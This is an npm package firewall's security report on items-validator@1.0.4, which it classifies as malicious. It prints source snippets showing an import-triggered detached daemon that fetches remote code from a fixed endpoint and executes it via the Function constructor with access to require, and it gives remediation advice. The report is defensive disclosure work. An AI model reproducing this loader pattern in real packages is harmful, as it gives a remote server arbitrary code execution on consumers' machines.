--- canonical: "https://firewall.lpm.dev/npm/items-validator/v/1.0.4" markdown: "https://firewall.lpm.dev/npm/items-validator/v/1.0.4.md" package: "items-validator" report_status: "published" title: "items-validator@1.0.4 npm security report" verdict: "malicious" version: "1.0.4" --- # items-validator@1.0.4 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The remote service can execute arbitrary Node.js code in the consuming user's environment. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.0.4 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17235 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Importing the package launches a detached daemon that downloads and executes remote code. Signature verification does not constrain code chosen by the package-controlled signing service. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-28T08:38:29.875Z - **Finished:** 2026-09-28T08:39:33.759Z - **Download time:** 260 ms - **Static scan time:** 36 ms - **AI review time:** 63587 ms - **Total time:** 63884 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Importing the package launches a detached daemon that downloads and executes remote code. Signature verification does not constrain code chosen by the package-controlled signing service. - **Trigger:** Requiring the package entry point. - **Impact:** The remote service can execute arbitrary Node.js code in the consuming user's environment. - **Evidence paths:** index.js, lib/check-items.js, SERVER\_IMPLEMENTATION\_EXAMPLE.js - **Review source:** ai\_review - **Reviewed:** 2026-09-28T08:39:33.759Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** A detached child runs lib/check-items.js, fetches code from the fixed endpoint, verifies its signature, and evaluates it with Function. - **Attack narrative:** The package executes behavior on import rather than exposing only validation functions. Its entry point launches a detached process that retrieves a remotely controlled payload and evaluates it with Node.js access to require. The signature check merely lets the remote signing service authorize the payload; the included server example shows that service returning code plus a signature. This is an active remote-code-execution channel for package consumers. - **Rationale:** The package contains an import-triggered, detached remote payload loader that executes server-authorized JavaScript. This is concrete remote code execution, not ordinary item validation. - **Files touched:** index.js, lib/check-items.js, SERVER\_IMPLEMENTATION\_EXAMPLE.js - **Network endpoints:** https://game.spawnrealm.com/api/item-realtime?key=abc123def456 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Package metadata describes a background validation daemon., The main entry automatically starts a detached Node child process when the package is required., The daemon contacts a fixed Spawnrealm API endpoint for signed code., The daemon rejects invalid signatures but accepts code supplied by the signing server., Accepted remote code is executed with the Function constructor and receives require., The included server example builds responses containing arbitrary code and a signature. - **Evidence against:** The daemon checks an RSA signature before executing downloaded code, but this only trusts the remote signer. ## Affected versions and remediation This report applies to items-validator@1.0.4. - Avoid installing items-validator@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** index.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: const { spawn } = require('child_process'); L2: const path = require('path'); ``` ### 2. Low: Eval - **Category:** Source - **Confidence:** 45.0% - **Path:** lib/check-items.js - **Public source:** [View source]() Package source references a known benign dynamic code generation pattern. Public source snippet (untrusted): ```javascript L136: const moduleObj = { exports: {} }; L137: const handler = new Function('require', 'module', payload.code); L138: handler(require, moduleObj); ``` ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 5. High: Cross File Remote Execution Context - **Category:** Source - **Confidence:** 72.0% - **Path:** index.js - **Public source:** [View source]() Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking. Public source snippet (untrusted): ```javascript Cross-file remote execution chain: index.js spawns lib/check-items.js; helper contains network access plus dynamic code execution. L1: const { spawn } = require('child_process'); L2: const path = require('path'); ... L10: try { L11: const daemonScript = path.resolve(__dirname, './lib/check-items.js'); L12: ``` ### 6. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 7. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 8. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** SERVER\_IMPLEMENTATION\_EXAMPLE.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = open-item-validator@1.0.4 matchedPath = SERVER_IMPLEMENTATION_EXAMPLE.js matchedIdentity = npm:b3Blbi1pdGVtLXZhbGlkYXRvcg:1.0.4 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 9. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** SERVER\_IMPLEMENTATION\_EXAMPLE.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 8879aba9cfa95730 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = open-item-validator@1.0.5 matchedPath = SERVER_IMPLEMENTATION_EXAMPLE.js matchedIdentity = npm:b3Blbi1pdGVtLXZhbGlkYXRvcg:1.0.5 similarity = 1.000 shingleOverlap = 8 summary = package final verdict is malicious ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() Package metadata describes a background validation daemon. Public source snippet (untrusted): ```json "name": "items-validator", "version": "1.0.4", "description": "Real-time game items validator with background daemon for client project update ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The main entry automatically starts a detached Node child process when the package is required. Public source snippet (untrusted): ```javascript // Auto-spawn validation daemon on require function initializeDaemon() { try { const daemonScript = path.resolve(__dirname, './lib/check-items.js'); const child = spawn('node', [daemonScript], { detached: true, stdio: 'ignore' }); child.unref(); logger.log('Background validation dae ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** lib/check-items.js - **Public source:** [View source]() The daemon contacts a fixed Spawnrealm API endpoint for signed code. Public source snippet (untrusted): ```javascript // API endpoint for fetching signed game code const API_ENDPOINT = 'https://game.spawnrealm.com/api/item-realtime?key=abc123def456'; /** * Downl ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** items-validator - **Ecosystem:** npm - **Version:** 1.0.4 - **License:** MIT - **Version published:** 2026-09-28T08:37:45.576Z - **Package first seen:** 2026-09-28T08:39:33.759Z - **Package last seen:** 2026-09-29T08:10:16.530Z - **Known versions:** 2 - **Latest version:** 1.0.5 - **Appeal under review:** No - **Description:** Real-time game items validator with background daemon for client project updates - **Author:** Tyrone Jher Tongol - **Keywords:** game-items, game-development, validator, real-time-updates, cryptographic-signature, rsa-sha256, game-server, client-validation, assertion, security, signature-verification, secure-updates - **Runtime engines:** node: \>=12.0.0, npm: \>=6.0.0 - **Supported OS:** linux, darwin, win32 - **Supported CPU:** x64, arm64 - **Artifact files:** 18 - **Artifact unpacked size:** 47,080 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Homepage]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]()